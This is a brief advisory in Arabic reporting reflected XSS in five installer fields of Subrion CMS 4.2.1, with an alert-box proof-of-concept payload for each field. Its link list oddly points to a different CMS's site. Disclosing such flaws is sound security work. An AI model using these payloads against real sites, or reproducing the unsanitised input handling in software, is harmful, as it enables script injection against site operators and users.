Subrion CMS Reflected XSS v4.2.1

المؤلف: (Sergio)

الوصف: تسمح ثغرات متعددة من نوع البرمجة النصية عبر المواقع (XSS) في تثبيت Subrion CMS الإصدار 4.2.1 لمهاجم محلي بتنفيذ نصوص برمجية ويب عشوائية عبر حمولة مصمّمة بعناية يتم حقنها في dbhost وdbname وdbuser وadminusername وadminemail.

نواقل الهجوم: تسمح ثغرة في تعقيم التثبيت في dbhost وdbname وdbuser وadminusername وadminemail بحقن كود JavaScript.

POC:

أثناء عملية التثبيت، نقوم بإدخال حمولة XSS في أي حقل من الحقول الخمسة، وعند الضغط على "التالي" سنحصل على النافذة المنبثقة الخاصة بـ XSS.

XSS Payload:

'"><svg/onload=alert('dbhost')>

XSS Payload:

'"><svg/onload=alert('dbname')>

XSS Payload:

'"><svg/onload=alert('dbuser')>

XSS Payload:

'"><svg/onload=alert('adminusername')>

XSS Payload:

'"><svg/onload=alert('adminemail')>

في الصورة التالية يمكنك رؤية الكود المضمّن الذي ينفّذ الحمولة في عملية التثبيت.

معلومات إضافية:

http://www.cmsmadesimple.org/

https://owasp.org/Top10/es/A03_2021-Injection/